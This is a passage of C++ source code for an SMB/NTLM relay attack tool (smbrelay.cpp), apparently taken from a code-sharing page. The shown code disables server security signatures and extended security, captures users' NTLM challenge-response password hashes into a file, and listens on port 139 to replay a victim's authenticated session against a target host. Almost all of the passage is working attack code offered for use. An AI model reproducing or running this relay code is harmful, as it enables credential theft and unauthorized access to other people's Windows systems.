📄 smbrelay.cpp
字号:
pTreeConnectAnd2->PasswordLen = 1;
pTreeConnectAnd2->ByteCount = 32;
char *ptr = (char *)(pTreeConnectAnd2 + 1);
*ptr = 0;
ptr++;
WCHAR *wptr = (WCHAR *)ptr;
swprintf(wptr, L"\\\\%S\\IPC$", hostname);
pTreeConnectAnd2->ByteCount = (wcslen(wptr) + 1) * 2;
wptr += wcslen(wptr) + 1;
ptr = (char *)wptr;
strcpy(ptr, "?????");
pTreeConnectAnd2->ByteCount += 7;
pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupand2->Len * 2 + psessionsetupand2->ByteCount + 2 + pTreeConnectAnd2->Len * 2 + pTreeConnectAnd2->ByteCount + 4);
x = ntohs(pnbsessionheader->Length) + 4;
}
break;
case SESSION_SETUP_ANDHEADER2EX_LEN: // Win2000
printf("Security blob len: %d\n", psessionsetupand2ex->SecurityBlobLen);
break;
default:
printf("Unknown setup header length %d\n", psessionsetupand->Len);
break;
}
break;
}
}
}
send(outsock, buff, x, 0);
x = recv(outsock, buff, sizeof(buff), 0);
if (x < 1)
{
printf("Error receiving data from outgoing connection\n");
return;
}
printf("Response: %s %d bytes\n", GetMessageType(pnbsessionheader->Type), x);
switch (pnbsessionheader->Type)
{
case TYPE_SESSION_MESSAGE:
switch (psmbheader->Command)
{
case SMB_COM_NEGOTIATE:
SessionID = pdialectselectheader->UniqueSessionKey;
if (pdialectselectheader->EncryptionKeyLen )
{
printf("Challenge (%d bytes): ", pdialectselectheader->EncryptionKeyLen);
PrintHexString((BYTE *)(pdialectselectheader + 1), pdialectselectheader->EncryptionKeyLen);
memcpy(challenge, pdialectselectheader + 1, 8);
puts("");
}
if (pdialectselectheader->bSecuritySignaturesRequired )
{
printf("Security signatures required by server *** THIS MAY NOT WORK!\n");
pdialectselectheader->bSecuritySignaturesRequired = 0;
}
if (pdialectselectheader->bExtendedSecurity)
{
printf("Disabling extended security *** THIS MAY NOT WORK!\n");
pdialectselectheader->bExtendedSecurity = 0;
}
if (pdialectselectheader->bSecuritySignaturesEnabled)
{
printf("Disabling security signatures\n");
pdialectselectheader->bSecuritySignaturesEnabled = 0;
}
// copy negotiation response for relaying later
memcpy(negotiateheaders, buff, sizeof(negotiateheaders));
break;
case SMB_COM_SESSION_SETUP_ANDX:
if (psmbheader->NTError == 0)
{
if (strlen(username))
bConnected = TRUE;
if (psessionsetupandresponse->Action & 1)
{
printf("Connected as guest\n");
}
if (/* psmbheader->bUnicodeStrings*/TRUE )
{
WCHAR *ptr = (WCHAR *)(psessionsetupandresponse + 1);
if ((DWORD)ptr % 2)
ptr = (WCHAR *)((char *)ptr +1);
printf("OS: \"%S\"\n", ptr);
ptr += wcslen(ptr) + 1;
printf("Lanman type: \"%S\"\n", ptr);
ptr += wcslen(ptr) + 1;
printf("Domain: \"%S\"\n", ptr);
}
else
{
char *ptr = (char *)(psessionsetupandresponse + 1);
printf("OS: \"%s\"\n", ptr);
ptr += strlen(ptr) + 1;
printf("Lanman type: \"%s\"\n", ptr);
ptr += strlen(ptr) + 1;
printf("Domain: \"%s\"\n", ptr);
ptr += strlen(ptr) + 1;
}
if (strlen(username))
{
memcpy(logonandconnectheaders, buff, sizeof(logonandconnectheaders));
UID = psmbheader->UserID;
}
}
else
{
printf("Login failure code: 0x%08X\n", psmbheader->NTError );
}
break;
}
}
if (!bConnected)
send(inconsock, buff, x, 0);
puts("");
}
closesocket(inconsock);
FILE *file;
file = fopen("hashes.txt", "a");
if (file != NULL)
{
fprintf(file, "%s %s\\%s:3:", inet_ntoa(sockaddr.sin_addr), hostname, username);
for (x = 0; x < 8; x++)
fprintf(file, "%02X", challenge[x]);
fprintf(file, ":");
for (x = 0; x < 24; x++)
fprintf(file, "%02X", caseinsensitivepassword[x]);
fprintf(file, ":");
for (x = 0; x < 24; x++)
fprintf(file, "%02X", casesensitivepassword[x]);
fprintf(file, "\n");
fclose(file);
printf("Password hash written to disk\n");
}
if (bConnected)
{
DWORD d, NTEContext, NTEInstance;
DWORD IP, Netmask;
printf("Connected?\n");
IP = g_RelayStartIP;
IP = ntohl(htonl(IP) + pnewconinfo->hostcount);
sockaddr.sin_addr.s_addr = IP;
if (g_bAddRelayIP)
{
Netmask = inet_addr("255.255.255.0");
d = AddIPAddress(IP, Netmask, g_RelayInterfaceNumber, &NTEContext, &NTEInstance);
if (d != NO_ERROR)
printf("Error %d adding relay IP address to interface %x: %s\n", d, g_RelayInterfaceNumber, StrError(d));
else
printf("Relay IP address added to interface %x\n", g_RelayInterfaceNumber);
}
SOCKET relaylistensock = INVALID_SOCKET, relayconnectionsock = INVALID_SOCKET;
BOOL bConnected = TRUE;
while (bConnected && !g_bQuit)
{
relaylistensock = socket(AF_INET, SOCK_STREAM, 0);
BOOL b = TRUE;
if (setsockopt(relaylistensock , SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR)
{
printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() );
closesocket(relaylistensock );
goto exitrelay ;
}
sockaddr.sin_addr.s_addr = IP;
sockaddr.sin_port = htons(139);
sockaddr.sin_family = AF_INET;
if (bind(relaylistensock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR)
{
d = GETSOCKETERROR();
printf("Error %u binding to port %d at address %s\n", d, 139, inet_ntoa(sockaddr.sin_addr) );
closesocket(relaylistensock);
goto exitrelay ;
}
else
{
printf("Bound to port %d on address %s relaying for host ", 139, inet_ntoa(sockaddr.sin_addr) );
printf("%s %s\n", hostname, inet_ntoa(sourcesockaddr.sin_addr) );
}
if (listen(relaylistensock, SOMAXCONN) == SOCKET_ERROR)
{
d = GETSOCKETERROR();
printf("Error %u listening on socket\n", d );
closesocket(relaylistensock);
goto exitrelay ;
}
bContinue = TRUE;
char tmpbuff[5];
int socklen = sizeof(sockaddr);
DWORD l = 1;
ioctlsocket(relaylistensock, FIONBIO , &l);
l = 1;
ioctlsocket(outsock, FIONBIO , &l);
do
{
if ((relayconnectionsock = accept(relaylistensock, (LPSOCKADDR)&sockaddr, &socklen)) == INVALID_SOCKET)
{
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK)
{
printf("Error %d receiving relay connection", err);
closesocket(relaylistensock);
goto exitrelay ;
}
else
{
x = recv(outsock, tmpbuff, 1, MSG_PEEK);
if ((x == -1 && WSAGetLastError() != WSAEWOULDBLOCK) || x == 0)
{
closesocket(relaylistensock);
goto exitrelay;
}
Sleep(50);
}
}
} while (!g_bQuit && relayconnectionsock == INVALID_SOCKET);
closesocket(relaylistensock);
if (g_bQuit )
{
if (relayconnectionsock != INVALID_SOCKET)
closesocket(relayconnectionsock);
goto exitrelay ;
}
printf("*** Relay connection for target %s received from %s:%d\n", hostname, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port));
char hostaddrbuff[64];
char relayaddrbuff[64];
strcpy(relayaddrbuff, inet_ntoa(sockaddr.sin_addr) );
strcpy(hostaddrbuff, inet_ntoa(sourcesockaddr.sin_addr) );
if (_spawnlp(_P_NOWAIT, "spawn.bat", "spawn.bat", relayaddrbuff, hostaddrbuff, hostname, NULL) != -1)
{
printf("Spawned spawn.bat %s %s %s\n", relayaddrbuff, hostaddrbuff, hostname );
}
// set non-blocking mode
l = 1;
ioctlsocket(relayconnectionsock, FIONBIO , &l);
bContinue = TRUE;
DWORD totallen;
int datalen;
BOOL bLogonDone = FALSE;
BOOL bDialectSelected = FALSE;
do
{
BOOL bDoSend = TRUE;
datalen = recv(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0);
if (datalen < 1)
{
if (datalen == 0)
{
printf("Relay connection disconnected from target %s\n", hostname);
bContinue = FALSE;
}
else
{
DWORD err = WSAGetLastError();
if (err != WSAEWOULDBLOCK)
{
bContinue = FALSE;
printf("Error %d receiving header from incoming relay connection for target %s\n", err, hostname);
}
}
}
else
{
totallen = ntohs(pnbsessionheader->Length) + 4;
if (g_DebugLevel > 1)
printf("Received request header, expecting %d bytes for target %s\n", totallen, hostname);
while (bContinue && datalen < totallen && !g_bQuit)
{
x = recv(relayconnectionsock, buff + datalen, totallen - datalen, 0);
if (x > 0)
datalen += x;
else
{
if (x == 0)
{
printf("Relay connection disconnected from target %s\n", hostname);
bContinue = FALSE;
}
else
{
DWORD err = WSAGetLastError();
if (err == WSAEWOULDBLOCK)
Sleep(5);
else
{
bContinue = FALSE;
printf("Error %d receiving data from incoming relay connection to target %s\n", err, hostname);
}
}
}
}
}
if (bContinue && datalen > 0)
{
if (g_DebugLevel > 0)
printf("Relay request type: %s %d bytes, %d target %s\n", GetMessageType(pnbsessionheader->Type), datalen, ntohs(pnbsessionheader->Length) + 4, hostname);
if (pnbsessionheader->Flags != 0)
printf("Request Flags: 0x%04x target %s\n", pnbsessionheader->Flags, hostname );
switch (pnbsessionheader->Type)
{
case TYPE_SESSION_REQUEST:
pnbsessionheader->Flags = 0;
pnbsessionheader->Length = 0;
pnbsessionheader->Type = TYPE_POSITIVE_SESSION_RESPONSE;
send(relayconnectionsock, buff, sizeof(NBSESSIONHEADER), 0);
printf(" *** Sent positive session response for relay target %s\n", hostname);
bDoSend = FALSE;
break;
case TYPE_SESSION_MESSAGE:
if (psmbheader->MagicVal != SMBMAGICVAL )
{
if (g_DebugLevel > 0)
printf("Non SMB message, magicval: %08x length %d bytes target %s\n", psmbheader->MagicVal, datalen, hostname);
}
else
{
if (g_DebugLevel > 0)
printf("%s\n", GetCommandType(psmbheader->Command));
switch (psmbheader->Command)
{
case SMB_COM_LOGOFF_ANDX:
printf(" *** Logoff from target %s\n", hostname);
bDoSend = FALSE;
bContinue = FALSE;
break;
case SMB_COM_NEGOTIATE:
if (!bDialectSelected)
{
char *ptr = (char *)(psmbheader + 1) + 3;
int selecteddialect = 0;
x = 0;
bDialectSelected = TRUE;
while (selecteddialect == 0 && ptr < buff + pnbsessionheader->Length + 3)
{
if (g_DebugLevel > 0)
printf("%d - Dialect %d - %s\n", x, *ptr, ptr+1);
x++;
ptr += strlen(ptr+1) + 2;
// locate dialect of choice
if (strcmp(ptr+1, LANMANDIALECT_NTLM012) == 0)
selecteddialect = x;
}
memcpy(buff, negotiateheaders, sizeof(negotiateheaders));
pdialectselectheader->Len = SMBDIALECTSELECTHEADER_LEN;
pdialectselectheader->DialectIndex = selecteddialect;
ptr = (char *)(pdialectselectheader + 1);
// put encryption key here
memcpy(ptr, "!!!!!!!!", 8);
ptr += SMBENCRYPTIONKEYLEN ;
if (/*psmbheader->bUnicodeStrings*/TRUE)
{
swprintf((WCHAR *)ptr, L"%S", SERVERDOMAINNAME);
pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2;
}
else
{
strcpy(ptr, SERVERDOMAINNAME);
pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1;
}
pnbsessionheader->Length = htons(sizeof(SMBHEADER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount );
send(relayconnectionsock, buff, ntohs(pnbsessionheader->Length) + 4 , 0);
printf(" *** Sent dialect selection response (%d) for target %s\n", selecteddialect, hostname );
bDoSend = FALSE;
}
break;
case SMB_COM_SESSION_SETUP_ANDX:
if ( !bLogonDone )
{
bLogonDone = TRUE;
WORD MID = psmbheader->MultiplexID;
WORD AndXCommand = psessionsetupand->AndXCommand ;
memcpy(buff, logonandconnectheaders, sizeof(logonandconnectheaders) );
psmbheader->MultiplexID = MID;
psmbheader->UserID = UID ;
pnbsessionheader->Length = htons(sizeof(SMBHEADER) + psessionsetupandresponse->Len * 2 + psessionsetupandresponse->ByteCount + 2);
// truncate it if necessary
if (AndXCommand == SMB_NONE)
{
psessionsetupandresponse->AndXCommand = SMB_NONE;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -